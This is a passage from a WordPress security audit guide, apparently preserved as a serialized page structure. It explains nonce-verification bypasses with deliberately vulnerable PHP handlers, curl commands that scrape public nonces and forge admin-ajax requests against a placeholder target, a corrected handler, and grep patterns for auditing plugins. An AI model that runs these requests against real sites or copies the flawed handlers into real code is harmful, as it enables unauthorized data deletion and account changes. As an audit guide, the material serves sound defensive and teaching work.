restrictive\n",[36,5577,5578],{"class":38,"line":138},[36,5579,5580],{},"function handler_b() {\n",[36,5582,5583],{"class":38,"line":144},[36,5584,5585],{},"    \u002F\u002F Developer intended 'my_plugin_delete' but used generic nonce\n",[36,5587,5588],{"class":38,"line":158},[36,5589,5590],{},"    wp_verify_nonce( $_POST['nonce'], 'my_plugin_general' ); \u002F\u002F Still works!\n",[36,5592,5593],{"class":38,"line":255},[36,5594,5595],{},"    \u002F\u002F Now performs privileged operation thinking it's properly scoped\n",[36,5597,5598],{"class":38,"line":261},[36,5599,5600],{},"    delete_all_data();\n",[36,5602,5603],{"class":38,"line":267},[36,5604,323],{},[14,5606,5607,5608,5610,5611,375],{},"More commonly: plugin verifies ",[33,5609,2743],{}," (the default action), which matches any nonce created with ",[33,5612,2743],{},[26,5614,5616],{"className":177,"code":5615,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Using default action -1\nfunction vulnerable_handler() {\n    if ( ! wp_verify_nonce( $_POST['nonce'], -1 ) ) {\n        wp_die( 'Invalid nonce' );\n    }\n    \u002F\u002F ...\n}\n\n\u002F\u002F Attacker can get a nonce for action -1 from any page using wp_create_nonce()\n\u002F\u002F or from another handler that exposes a nonce with action -1\n",[33,5617,5618,5623,5628,5633,5638,5642,5646,5650,5654,5659],{"__ignoreMap":31},[36,5619,5620],{"class":38,"line":39},[36,5621,5622],{},"\u002F\u002F VULNERABLE: Using default action -1\n",[36,5624,5625],{"class":38,"line":46},[36,5626,5627],{},"function vulnerable_handler() {\n",[36,5629,5630],{"class":38,"line":57},[36,5631,5632],{},"    if ( ! wp_verify_nonce( $_POST['nonce'], -1 ) ) {\n",[36,5634,5635],{"class":38,"line":64},[36,5636,5637],{},"        wp_die( 'Invalid nonce' );\n",[36,5639,5640],{"class":38,"line":70},[36,5641,1622],{},[36,5643,5644],{"class":38,"line":78},[36,5645,346],{},[36,5647,5648],{"class":38,"line":83},[36,5649,323],{},[36,5651,5652],{"class":38,"line":89},[36,5653,61],{"emptyLinePlaceholder":60},[36,5655,5656],{"class":38,"line":115},[36,5657,5658],{},"\u002F\u002F Attacker can get a nonce for action -1 from any page using wp_create_nonce()\n",[36,5660,5661],{"class":38,"line":133},[36,5662,5663],{},"\u002F\u002F or from another handler that exposes a nonce with action -1\n",[684,5665,5667],{"id":5666},"bypass-2-nonce-available-to-unauthenticated-users","Bypass 2: Nonce Available to Unauthenticated Users",[14,5669,5670],{},"A handler requires a nonce but exposes that nonce on a public page:",[26,5672,5674],{"className":177,"code":5673,"language":179,"meta":31,"style":31},"\u002F\u002F Nonce exposed on public-facing page to everyone\nadd_action( 'wp_head', function() {\n    echo '\u003Cscript>var deleteNonce = \"' . wp_create_nonce('delete_post') . '\";\u003C\u002Fscript>';\n});\n\n\u002F\u002F Handler requires nonce but should also require authentication\nadd_action( 'wp_ajax_nopriv_delete_post', 'delete_post_handler' );\nfunction delete_post_handler() {\n    wp_verify_nonce( $_POST['nonce'], 'delete_post' ); \u002F\u002F nonce check present\n    \u002F\u002F But anyone can get this nonce from the homepage!\n    wp_delete_post( intval($_POST['post_id']), true );\n    wp_die();\n}\n",[33,5675,5676,5681,5685,5690,5694,5698,5703,5708,5713,5718,5723,5728,5732],{"__ignoreMap":31},[36,5677,5678],{"class":38,"line":39},[36,5679,5680],{},"\u002F\u002F Nonce exposed on public-facing page to everyone\n",[36,5682,5683],{"class":38,"line":46},[36,5684,5445],{},[36,5686,5687],{"class":38,"line":57},[36,5688,5689],{},"    echo '\u003Cscript>var deleteNonce = \"' . wp_create_nonce('delete_post') . '\";\u003C\u002Fscript>';\n",[36,5691,5692],{"class":38,"line":64},[36,5693,300],{},[36,5695,5696],{"class":38,"line":70},[36,5697,61],{"emptyLinePlaceholder":60},[36,5699,5700],{"class":38,"line":78},[36,5701,5702],{},"\u002F\u002F Handler requires nonce but should also require authentication\n",[36,5704,5705],{"class":38,"line":83},[36,5706,5707],{},"add_action( 'wp_ajax_nopriv_delete_post', 'delete_post_handler' );\n",[36,5709,5710],{"class":38,"line":89},[36,5711,5712],{},"function delete_post_handler() {\n",[36,5714,5715],{"class":38,"line":115},[36,5716,5717],{},"    wp_verify_nonce( $_POST['nonce'], 'delete_post' ); \u002F\u002F nonce check present\n",[36,5719,5720],{"class":38,"line":133},[36,5721,5722],{},"    \u002F\u002F But anyone can get this nonce from the homepage!\n",[36,5724,5725],{"class":38,"line":138},[36,5726,5727],{},"    wp_delete_post( intval($_POST['post_id']), true );\n",[36,5729,5730],{"class":38,"line":144},[36,5731,2856],{},[36,5733,5734],{"class":38,"line":158},[36,5735,323],{},[14,5737,3495],{},[26,5739,5741],{"className":28,"code":5740,"language":30,"meta":31,"style":31},"# Step 1: Get nonce from public page (no authentication needed)\nNONCE=$(curl -s 'https:\u002F\u002Ftarget.example.com\u002F' | grep -oP 'deleteNonce\\s*=\\s*\"\\K[a-f0-9]{10}')\n\n# Step 2: Use nonce in privileged operation\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d \"action=delete_post&nonce=$NONCE&post_id=1\"\n",[33,5742,5743,5748,5774,5778,5783,5797],{"__ignoreMap":31},[36,5744,5745],{"class":38,"line":39},[36,5746,5747],{"class":42},"# Step 1: Get nonce from public page (no authentication needed)\n",[36,5749,5750,5753,5755,5757,5759,5761,5763,5765,5767,5769,5772],{"class":38,"line":46},[36,5751,5752],{"class":605},"NONCE",[36,5754,1220],{"class":102},[36,5756,1358],{"class":605},[36,5758,92],{"class":49},[36,5760,96],{"class":95},[36,5762,5236],{"class":53},[36,5764,103],{"class":102},[36,5766,617],{"class":49},[36,5768,726],{"class":95},[36,5770,5771],{"class":53}," 'deleteNonce\\s*=\\s*\"\\K[a-f0-9]{10}'",[36,5773,1385],{"class":605},[36,5775,5776],{"class":38,"line":57},[36,5777,61],{"emptyLinePlaceholder":60},[36,5779,5780],{"class":38,"line":64},[36,5781,5782],{"class":42},"# Step 2: Use nonce in privileged operation\n",[36,5784,5785,5787,5789,5791,5793,5795],{"class":38,"line":70},[36,5786,92],{"class":49},[36,5788,96],{"class":95},[36,5790,792],{"class":95},[36,5792,795],{"class":53},[36,5794,3208],{"class":53},[36,5796,155],{"class":95},[36,5798,5799,5801,5804,5807],{"class":38,"line":78},[36,5800,818],{"class":95},[36,5802,5803],{"class":53}," \"action=delete_post&nonce=",[36,5805,5806],{"class":605},"$NONCE",[36,5808,5809],{"class":53},"&post_id=1\"\n",[684,5811,5813],{"id":5812},"bypass-3-conditional-nonce-check","Bypass 3: Conditional Nonce Check",[26,5815,5817],{"className":177,"code":5816,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Nonce only checked in one branch\nadd_action( 'wp_ajax_update_profile', 'update_profile_handler' );\nfunction update_profile_handler() {\n    if ( isset( $_POST['nonce'] ) ) {\n        wp_verify_nonce( $_POST['nonce'], 'update_profile' );\n    }\n    \u002F\u002F Proceeds without nonce if $_POST['nonce'] is not set!\n    update_user_meta( get_current_user_id(), 'phone', sanitize_text_field($_POST['phone']) );\n    wp_die();\n}\n",[33,5818,5819,5824,5829,5834,5839,5844,5848,5853,5858,5862],{"__ignoreMap":31},[36,5820,5821],{"class":38,"line":39},[36,5822,5823],{},"\u002F\u002F VULNERABLE: Nonce only checked in one branch\n",[36,5825,5826],{"class":38,"line":46},[36,5827,5828],{},"add_action( 'wp_ajax_update_profile', 'update_profile_handler' );\n",[36,5830,5831],{"class":38,"line":57},[36,5832,5833],{},"function update_profile_handler() {\n",[36,5835,5836],{"class":38,"line":64},[36,5837,5838],{},"    if ( isset( $_POST['nonce'] ) ) {\n",[36,5840,5841],{"class":38,"line":70},[36,5842,5843],{},"        wp_verify_nonce( $_POST['nonce'], 'update_profile' );\n",[36,5845,5846],{"class":38,"line":78},[36,5847,1622],{},[36,5849,5850],{"class":38,"line":83},[36,5851,5852],{},"    \u002F\u002F Proceeds without nonce if $_POST['nonce'] is not set!\n",[36,5854,5855],{"class":38,"line":89},[36,5856,5857],{},"    update_user_meta( get_current_user_id(), 'phone', sanitize_text_field($_POST['phone']) );\n",[36,5859,5860],{"class":38,"line":115},[36,5861,2856],{},[36,5863,5864],{"class":38,"line":133},[36,5865,323],{},[14,5867,5868],{},"Testing - simply omit the nonce parameter:",[26,5870,5872],{"className":28,"code":5871,"language":30,"meta":31,"style":31},"curl -s -b \u002Ftmp\u002Fwp_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d 'action=update_profile&phone=attacker_value'\n# Nonce field omitted entirely - check is bypassed\n",[33,5873,5874,5890,5896,5903],{"__ignoreMap":31},[36,5875,5876,5878,5880,5882,5884,5886,5888],{"class":38,"line":39},[36,5877,92],{"class":49},[36,5879,96],{"class":95},[36,5881,709],{"class":95},[36,5883,712],{"class":53},[36,5885,792],{"class":95},[36,5887,795],{"class":53},[36,5889,155],{"class":95},[36,5891,5892,5894],{"class":38,"line":46},[36,5893,3329],{"class":53},[36,5895,155],{"class":95},[36,5897,5898,5900],{"class":38,"line":57},[36,5899,818],{"class":95},[36,5901,5902],{"class":53}," 'action=update_profile&phone=attacker_value'\n",[36,5904,5905],{"class":38,"line":64},[36,5906,5907],{"class":42},"# Nonce field omitted entirely - check is bypassed\n",[684,5909,5911],{"id":5910},"bypass-4-nonce-verification-result-not-checked","Bypass 4: Nonce Verification Result Not Checked",[26,5913,5915],{"className":177,"code":5914,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Return value of wp_verify_nonce not checked\nfunction insecure_handler() {\n    wp_verify_nonce( $_POST['nonce'], 'my_action' ); \u002F\u002F Called but result ignored!\n    perform_privileged_operation();\n    wp_die();\n}\n",[33,5916,5917,5922,5927,5932,5937,5941],{"__ignoreMap":31},[36,5918,5919],{"class":38,"line":39},[36,5920,5921],{},"\u002F\u002F VULNERABLE: Return value of wp_verify_nonce not checked\n",[36,5923,5924],{"class":38,"line":46},[36,5925,5926],{},"function insecure_handler() {\n",[36,5928,5929],{"class":38,"line":57},[36,5930,5931],{},"    wp_verify_nonce( $_POST['nonce'], 'my_action' ); \u002F\u002F Called but result ignored!\n",[36,5933,5934],{"class":38,"line":64},[36,5935,5936],{},"    perform_privileged_operation();\n",[36,5938,5939],{"class":38,"line":70},[36,5940,2856],{},[36,5942,5943],{"class":38,"line":78},[36,5944,323],{},[26,5946,5948],{"className":28,"code":5947,"language":30,"meta":31,"style":31},"# Works with any nonce value or no nonce at all\ncurl -s -b \u002Ftmp\u002Fwp_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d 'action=insecure_action&nonce=invalid_nonce'\n",[33,5949,5950,5955,5971,5977],{"__ignoreMap":31},[36,5951,5952],{"class":38,"line":39},[36,5953,5954],{"class":42},"# Works with any nonce value or no nonce at all\n",[36,5956,5957,5959,5961,5963,5965,5967,5969],{"class":38,"line":46},[36,5958,92],{"class":49},[36,5960,96],{"class":95},[36,5962,709],{"class":95},[36,5964,712],{"class":53},[36,5966,792],{"class":95},[36,5968,795],{"class":53},[36,5970,155],{"class":95},[36,5972,5973,5975],{"class":38,"line":57},[36,5974,3329],{"class":53},[36,5976,155],{"class":95},[36,5978,5979,5981],{"class":38,"line":64},[36,5980,818],{"class":95},[36,5982,5983],{"class":53}," 'action=insecure_action&nonce=invalid_nonce'\n",[684,5985,5987],{"id":5986},"bypass-5-check_ajax_referer-with-diefalse","Bypass 5: check_ajax_referer with die=false",[26,5989,5991],{"className":177,"code":5990,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: die parameter set to false, result not checked\nfunction insecure_ajax_handler() {\n    check_ajax_referer( 'my_action', 'nonce', false ); \u002F\u002F Won't die on failure\n    \u002F\u002F Should check the return value!\n    perform_privileged_operation(); \u002F\u002F Executes regardless\n    wp_die();\n}\n",[33,5992,5993,5998,6003,6008,6013,6018,6022],{"__ignoreMap":31},[36,5994,5995],{"class":38,"line":39},[36,5996,5997],{},"\u002F\u002F VULNERABLE: die parameter set to false, result not checked\n",[36,5999,6000],{"class":38,"line":46},[36,6001,6002],{},"function insecure_ajax_handler() {\n",[36,6004,6005],{"class":38,"line":57},[36,6006,6007],{},"    check_ajax_referer( 'my_action', 'nonce', false ); \u002F\u002F Won't die on failure\n",[36,6009,6010],{"class":38,"line":64},[36,6011,6012],{},"    \u002F\u002F Should check the return value!\n",[36,6014,6015],{"class":38,"line":70},[36,6016,6017],{},"    perform_privileged_operation(); \u002F\u002F Executes regardless\n",[36,6019,6020],{"class":38,"line":78},[36,6021,2856],{},[36,6023,6024],{"class":38,"line":83},[36,6025,323],{},[14,6027,6028],{},"The correct pattern:",[26,6030,6032],{"className":177,"code":6031,"language":179,"meta":31,"style":31},"function secure_ajax_handler() {\n    $result = check_ajax_referer( 'my_action', 'nonce', false );\n    if ( false === $result ) {\n        wp_send_json_error( 'Invalid nonce', 403 );\n    }\n    \u002F\u002F ...\n}\n",[33,6033,6034,6039,6044,6049,6054,6058,6062],{"__ignoreMap":31},[36,6035,6036],{"class":38,"line":39},[36,6037,6038],{},"function secure_ajax_handler() {\n",[36,6040,6041],{"class":38,"line":46},[36,6042,6043],{},"    $result = check_ajax_referer( 'my_action', 'nonce', false );\n",[36,6045,6046],{"class":38,"line":57},[36,6047,6048],{},"    if ( false === $result ) {\n",[36,6050,6051],{"class":38,"line":64},[36,6052,6053],{},"        wp_send_json_error( 'Invalid nonce', 403 );\n",[36,6055,6056],{"class":38,"line":70},[36,6057,1622],{},[36,6059,6060],{"class":38,"line":78},[36,6061,346],{},[36,6063,6064],{"class":38,"line":83},[36,6065,323],{},[684,6067,6069],{"id":6068},"bypass-6-nonce-leakage-via-error-messages","Bypass 6: Nonce Leakage via Error Messages",[26,6071,6073],{"className":177,"code":6072,"language":179,"meta":31,"style":31},"function handler_with_debug() {\n    if ( WP_DEBUG ) {\n        \u002F\u002F Logs include nonce values\n        error_log( 'Processing request with nonce: ' . $_POST['nonce'] );\n    }\n    \u002F\u002F If debug log is accessible, nonces can be extracted\n}\n",[33,6074,6075,6080,6085,6090,6095,6099,6104],{"__ignoreMap":31},[36,6076,6077],{"class":38,"line":39},[36,6078,6079],{},"function handler_with_debug() {\n",[36,6081,6082],{"class":38,"line":46},[36,6083,6084],{},"    if ( WP_DEBUG ) {\n",[36,6086,6087],{"class":38,"line":57},[36,6088,6089],{},"        \u002F\u002F Logs include nonce values\n",[36,6091,6092],{"class":38,"line":64},[36,6093,6094],{},"        error_log( 'Processing request with nonce: ' . $_POST['nonce'] );\n",[36,6096,6097],{"class":38,"line":70},[36,6098,1622],{},[36,6100,6101],{"class":38,"line":78},[36,6102,6103],{},"    \u002F\u002F If debug log is accessible, nonces can be extracted\n",[36,6105,6106],{"class":38,"line":83},[36,6107,323],{},[26,6109,6111],{"className":28,"code":6110,"language":30,"meta":31,"style":31},"# Check if debug log is accessible\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fwp-content\u002Fdebug.log' | grep -oP '[a-f0-9]{10}'\n",[33,6112,6113,6118],{"__ignoreMap":31},[36,6114,6115],{"class":38,"line":39},[36,6116,6117],{"class":42},"# Check if debug log is accessible\n",[36,6119,6120,6122,6124,6127,6129,6131,6133],{"class":38,"line":46},[36,6121,92],{"class":49},[36,6123,96],{"class":95},[36,6125,6126],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-content\u002Fdebug.log'",[36,6128,103],{"class":102},[36,6130,617],{"class":49},[36,6132,726],{"class":95},[36,6134,6135],{"class":53}," '[a-f0-9]{10}'\n",[18,6137,6139],{"id":6138},"unauthenticated-users-and-nonces","Unauthenticated Users and Nonces",[14,6141,6142,6143,6146],{},"A common misunderstanding: unauthenticated users CAN get nonces. WordPress generates nonces for unauthenticated users using ",[33,6144,6145],{},"uid=0"," and a session identifier stored in a cookie.",[26,6148,6150],{"className":177,"code":6149,"language":179,"meta":31,"style":31},"\u002F\u002F For logged-out users, wp_create_nonce uses uid=0\n\u002F\u002F The session token comes from the 'wp-settings-time-0' cookie or similar\n\n\u002F\u002F This means a nonce generated for an anonymous user on one page\n\u002F\u002F is valid for ALL anonymous users within the tick window\n\u002F\u002F because uid=0 is the same for everyone and no session token is used\n",[33,6151,6152,6157,6162,6166,6171,6176],{"__ignoreMap":31},[36,6153,6154],{"class":38,"line":39},[36,6155,6156],{},"\u002F\u002F For logged-out users, wp_create_nonce uses uid=0\n",[36,6158,6159],{"class":38,"line":46},[36,6160,6161],{},"\u002F\u002F The session token comes from the 'wp-settings-time-0' cookie or similar\n",[36,6163,6164],{"class":38,"line":57},[36,6165,61],{"emptyLinePlaceholder":60},[36,6167,6168],{"class":38,"line":64},[36,6169,6170],{},"\u002F\u002F This means a nonce generated for an anonymous user on one page\n",[36,6172,6173],{"class":38,"line":70},[36,6174,6175],{},"\u002F\u002F is valid for ALL anonymous users within the tick window\n",[36,6177,6178],{"class":38,"line":78},[36,6179,6180],{},"\u002F\u002F because uid=0 is the same for everyone and no session token is used\n",[14,6182,6183,6184,6186],{},"This has a significant implication: if a ",[33,6185,3438],{}," handler requires a nonce but that nonce is exposed on a public page, the nonce is effectively worthless as CSRF protection because:",[2706,6188,6189,6192,6195],{},[2709,6190,6191],{},"Attacker visits public page, gets nonce",[2709,6193,6194],{},"Nonce is valid for up to 24 hours",[2709,6196,6197],{},"Attacker can forge requests with this nonce",[26,6199,6201],{"className":28,"code":6200,"language":30,"meta":31,"style":31},"# Demonstrate: get nonce as anonymous user, use it immediately\nNONCE=$(curl -s 'https:\u002F\u002Ftarget.example.com\u002F' | grep -oP '\"nonce\":\"?\\K[a-f0-9]{10}')\necho \"Got nonce: $NONCE\"\n\n# Use nonce in same session (simulating CSRF)\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d \"action=nopriv_action&nonce=$NONCE&malicious_param=value\"\n",[33,6202,6203,6208,6233,6244,6248,6253,6267],{"__ignoreMap":31},[36,6204,6205],{"class":38,"line":39},[36,6206,6207],{"class":42},"# Demonstrate: get nonce as anonymous user, use it immediately\n",[36,6209,6210,6212,6214,6216,6218,6220,6222,6224,6226,6228,6231],{"class":38,"line":46},[36,6211,5752],{"class":605},[36,6213,1220],{"class":102},[36,6215,1358],{"class":605},[36,6217,92],{"class":49},[36,6219,96],{"class":95},[36,6221,5236],{"class":53},[36,6223,103],{"class":102},[36,6225,617],{"class":49},[36,6227,726],{"class":95},[36,6229,6230],{"class":53}," '\"nonce\":\"?\\K[a-f0-9]{10}'",[36,6232,1385],{"class":605},[36,6234,6235,6237,6240,6242],{"class":38,"line":57},[36,6236,1226],{"class":95},[36,6238,6239],{"class":53}," \"Got nonce: ",[36,6241,5806],{"class":605},[36,6243,668],{"class":53},[36,6245,6246],{"class":38,"line":64},[36,6247,61],{"emptyLinePlaceholder":60},[36,6249,6250],{"class":38,"line":70},[36,6251,6252],{"class":42},"# Use nonce in same session (simulating CSRF)\n",[36,6254,6255,6257,6259,6261,6263,6265],{"class":38,"line":78},[36,6256,92],{"class":49},[36,6258,96],{"class":95},[36,6260,792],{"class":95},[36,6262,795],{"class":53},[36,6264,3208],{"class":53},[36,6266,155],{"class":95},[36,6268,6269,6271,6274,6276],{"class":38,"line":83},[36,6270,818],{"class":95},[36,6272,6273],{"class":53}," \"action=nopriv_action&nonce=",[36,6275,5806],{"class":605},[36,6277,6278],{"class":53},"&malicious_param=value\"\n",[18,6280,6282],{"id":6281},"grep-patterns-for-nonce-audit","Grep Patterns for Nonce Audit",[26,6284,6286],{"className":28,"code":6285,"language":30,"meta":31,"style":31},"PLUGIN_PATH=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fmy-plugin\"\n\n# Find all nonce verifications\ngrep -rn \"wp_verify_nonce\\|check_ajax_referer\\|check_admin_referer\" \\\n  \"$PLUGIN_PATH\" --include=\"*.php\"\n\n# Find handlers that DON'T verify nonces (requires manual review)\n# Step 1: Get all AJAX handler function names\ngrep -rP \"add_action\\s*\\(\\s*['\\\"]wp_ajax_[^'\\\"]+['\\\"],\\s*['\\\"]?\\K[^'\\\")\\s]+\" \\\n  \"$PLUGIN_PATH\" --include=\"*.php\" -oh > \u002Ftmp\u002Fhandlers.txt\n\n# Step 2: For each handler, check if it contains nonce verification\nwhile read handler; do\n    FILE=$(grep -rln \"function $handler\" \"$PLUGIN_PATH\" --include=\"*.php\" | head -1)\n    if [ -n \"$FILE\" ]; then\n        # Extract function body (rough approximation)\n        HAS_NONCE=$(grep -A 20 \"function $handler\" \"$FILE\" | \\\n          grep -c \"wp_verify_nonce\\|check_ajax_referer\")\n        echo \"$handler: nonce_checks=$HAS_NONCE (file: $FILE)\"\n    fi\ndone \u003C \u002Ftmp\u002Fhandlers.txt\n\n# Find nonces created with action -1 (default, less specific)\ngrep -rn \"wp_create_nonce\\s*(\\s*)\" \"$PLUGIN_PATH\" --include=\"*.php\"\ngrep -rn \"wp_create_nonce\\s*(\\s*-1\\s*)\" \"$PLUGIN_PATH\" --include=\"*.php\"\n\n# Find check_ajax_referer calls with die=false\ngrep -rn \"check_ajax_referer.*false\" \"$PLUGIN_PATH\" --include=\"*.php\"\n\n# Find wp_verify_nonce where return is not checked\ngrep -rn \"wp_verify_nonce\" \"$PLUGIN_PATH\" --include=\"*.php\" -B2 -A2 | \\\n  grep -v \"if\\s*(\\|!\\s*\\|=\\s*wp_verify\"\n\n# Find nonces exposed to all users (in public hooks)\ngrep -rn \"wp_create_nonce\" \"$PLUGIN_PATH\" --include=\"*.php\" | \\\n  grep -v \"admin_\\|is_admin\\|current_user_can\"\n",[33,6287,6288,6298,6302,6307,6318,6331,6335,6340,6345,6375,6395,6399,6404,6418,6457,6479,6484,6516,6528,6549,6553,6563,6567,6572,6591,6610,6614,6619,6638,6642,6647,6674,6684,6689,6695,6719],{"__ignoreMap":31},[36,6289,6290,6293,6295],{"class":38,"line":39},[36,6291,6292],{"class":605},"PLUGIN_PATH",[36,6294,1220],{"class":102},[36,6296,6297],{"class":53},"\"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fmy-plugin\"\n",[36,6299,6300],{"class":38,"line":46},[36,6301,61],{"emptyLinePlaceholder":60},[36,6303,6304],{"class":38,"line":57},[36,6305,6306],{"class":42},"# Find all nonce verifications\n",[36,6308,6309,6311,6313,6316],{"class":38,"line":64},[36,6310,490],{"class":49},[36,6312,493],{"class":95},[36,6314,6315],{"class":53}," \"wp_verify_nonce\\|check_ajax_referer\\|check_admin_referer\"",[36,6317,155],{"class":95},[36,6319,6320,6322,6325,6327,6329],{"class":38,"line":70},[36,6321,3113],{"class":53},[36,6323,6324],{"class":605},"$PLUGIN_PATH",[36,6326,631],{"class":53},[36,6328,502],{"class":95},[36,6330,505],{"class":53},[36,6332,6333],{"class":38,"line":78},[36,6334,61],{"emptyLinePlaceholder":60},[36,6336,6337],{"class":38,"line":83},[36,6338,6339],{"class":42},"# Find handlers that DON'T verify nonces (requires manual review)\n",[36,6341,6342],{"class":38,"line":89},[36,6343,6344],{"class":42},"# Step 1: Get all AJAX handler function names\n",[36,6346,6347,6349,6351,6353,6355,6357,6359,6361,6363,6365,6367,6369,6371,6373],{"class":38,"line":115},[36,6348,490],{"class":49},[36,6350,574],{"class":95},[36,6352,2950],{"class":53},[36,6354,1498],{"class":95},[36,6356,3086],{"class":53},[36,6358,1498],{"class":95},[36,6360,3091],{"class":53},[36,6362,1498],{"class":95},[36,6364,3096],{"class":53},[36,6366,1498],{"class":95},[36,6368,3101],{"class":53},[36,6370,1498],{"class":95},[36,6372,3106],{"class":53},[36,6374,155],{"class":95},[36,6376,6377,6379,6381,6383,6385,6387,6389,6392],{"class":38,"line":133},[36,6378,3113],{"class":53},[36,6380,6324],{"class":605},[36,6382,631],{"class":53},[36,6384,502],{"class":95},[36,6386,540],{"class":53},[36,6388,4325],{"class":95},[36,6390,6391],{"class":102}," >",[36,6393,6394],{"class":53}," \u002Ftmp\u002Fhandlers.txt\n",[36,6396,6397],{"class":38,"line":138},[36,6398,61],{"emptyLinePlaceholder":60},[36,6400,6401],{"class":38,"line":144},[36,6402,6403],{"class":42},"# Step 2: For each handler, check if it contains nonce verification\n",[36,6405,6406,6409,6411,6414,6416],{"class":38,"line":158},[36,6407,6408],{"class":102},"while",[36,6410,599],{"class":95},[36,6412,6413],{"class":53}," handler",[36,6415,606],{"class":605},[36,6417,609],{"class":102},[36,6419,6420,6423,6425,6427,6429,6432,6434,6436,6438,6440,6442,6444,6446,6448,6450,6452,6455],{"class":38,"line":255},[36,6421,6422],{"class":605},"    FILE",[36,6424,1220],{"class":102},[36,6426,1358],{"class":605},[36,6428,490],{"class":49},[36,6430,6431],{"class":95}," -rln",[36,6433,3158],{"class":53},[36,6435,3161],{"class":605},[36,6437,631],{"class":53},[36,6439,625],{"class":53},[36,6441,6324],{"class":605},[36,6443,631],{"class":53},[36,6445,502],{"class":95},[36,6447,540],{"class":53},[36,6449,103],{"class":102},[36,6451,5296],{"class":49},[36,6453,6454],{"class":95}," -1",[36,6456,1385],{"class":605},[36,6458,6459,6461,6464,6467,6469,6472,6474,6477],{"class":38,"line":261},[36,6460,614],{"class":102},[36,6462,6463],{"class":605}," [ ",[36,6465,6466],{"class":102},"-n",[36,6468,625],{"class":53},[36,6470,6471],{"class":605},"$FILE",[36,6473,631],{"class":53},[36,6475,6476],{"class":605}," ]; ",[36,6478,655],{"class":102},[36,6480,6481],{"class":38,"line":267},[36,6482,6483],{"class":42},"        # Extract function body (rough approximation)\n",[36,6485,6486,6489,6491,6493,6495,6497,6500,6502,6504,6506,6508,6510,6512,6514],{"class":38,"line":273},[36,6487,6488],{"class":605},"        HAS_NONCE",[36,6490,1220],{"class":102},[36,6492,1358],{"class":605},[36,6494,490],{"class":49},[36,6496,2508],{"class":95},[36,6498,6499],{"class":95}," 20",[36,6501,3158],{"class":53},[36,6503,3161],{"class":605},[36,6505,631],{"class":53},[36,6507,625],{"class":53},[36,6509,6471],{"class":605},[36,6511,631],{"class":53},[36,6513,103],{"class":102},[36,6515,155],{"class":95},[36,6517,6518,6521,6523,6526],{"class":38,"line":279},[36,6519,6520],{"class":49},"          grep",[36,6522,164],{"class":95},[36,6524,6525],{"class":53}," \"wp_verify_nonce\\|check_ajax_referer\"",[36,6527,1385],{"class":605},[36,6529,6530,6532,6534,6536,6539,6542,6545,6547],{"class":38,"line":285},[36,6531,660],{"class":95},[36,6533,625],{"class":53},[36,6535,3161],{"class":605},[36,6537,6538],{"class":53},": nonce_checks=",[36,6540,6541],{"class":605},"$HAS_NONCE",[36,6543,6544],{"class":53}," (file: ",[36,6546,6471],{"class":605},[36,6548,1241],{"class":53},[36,6550,6551],{"class":38,"line":291},[36,6552,673],{"class":102},[36,6554,6555,6558,6561],{"class":38,"line":297},[36,6556,6557],{"class":102},"done",[36,6559,6560],{"class":102}," \u003C",[36,6562,6394],{"class":605},[36,6564,6565],{"class":38,"line":303},[36,6566,61],{"emptyLinePlaceholder":60},[36,6568,6569],{"class":38,"line":308},[36,6570,6571],{"class":42},"# Find nonces created with action -1 (default, less specific)\n",[36,6573,6574,6576,6578,6581,6583,6585,6587,6589],{"class":38,"line":314},[36,6575,490],{"class":49},[36,6577,493],{"class":95},[36,6579,6580],{"class":53}," \"wp_create_nonce\\s*(\\s*)\"",[36,6582,625],{"class":53},[36,6584,6324],{"class":605},[36,6586,631],{"class":53},[36,6588,502],{"class":95},[36,6590,505],{"class":53},[36,6592,6593,6595,6597,6600,6602,6604,6606,6608],{"class":38,"line":320},[36,6594,490],{"class":49},[36,6596,493],{"class":95},[36,6598,6599],{"class":53}," \"wp_create_nonce\\s*(\\s*-1\\s*)\"",[36,6601,625],{"class":53},[36,6603,6324],{"class":605},[36,6605,631],{"class":53},[36,6607,502],{"class":95},[36,6609,505],{"class":53},[36,6611,6612],{"class":38,"line":326},[36,6613,61],{"emptyLinePlaceholder":60},[36,6615,6616],{"class":38,"line":331},[36,6617,6618],{"class":42},"# Find check_ajax_referer calls with die=false\n",[36,6620,6621,6623,6625,6628,6630,6632,6634,6636],{"class":38,"line":337},[36,6622,490],{"class":49},[36,6624,493],{"class":95},[36,6626,6627],{"class":53}," \"check_ajax_referer.*false\"",[36,6629,625],{"class":53},[36,6631,6324],{"class":605},[36,6633,631],{"class":53},[36,6635,502],{"class":95},[36,6637,505],{"class":53},[36,6639,6640],{"class":38,"line":343},[36,6641,61],{"emptyLinePlaceholder":60},[36,6643,6644],{"class":38,"line":349},[36,6645,6646],{"class":42},"# Find wp_verify_nonce where return is not checked\n",[36,6648,6649,6651,6653,6656,6658,6660,6662,6664,6666,6668,6670,6672],{"class":38,"line":355},[36,6650,490],{"class":49},[36,6652,493],{"class":95},[36,6654,6655],{"class":53}," \"wp_verify_nonce\"",[36,6657,625],{"class":53},[36,6659,6324],{"class":605},[36,6661,631],{"class":53},[36,6663,502],{"class":95},[36,6665,540],{"class":53},[36,6667,5502],{"class":95},[36,6669,5499],{"class":95},[36,6671,103],{"class":102},[36,6673,155],{"class":95},[36,6675,6677,6679,6681],{"class":38,"line":6676},32,[36,6678,552],{"class":49},[36,6680,555],{"class":95},[36,6682,6683],{"class":53}," \"if\\s*(\\|!\\s*\\|=\\s*wp_verify\"\n",[36,6685,6687],{"class":38,"line":6686},33,[36,6688,61],{"emptyLinePlaceholder":60},[36,6690,6692],{"class":38,"line":6691},34,[36,6693,6694],{"class":42},"# Find nonces exposed to all users (in public 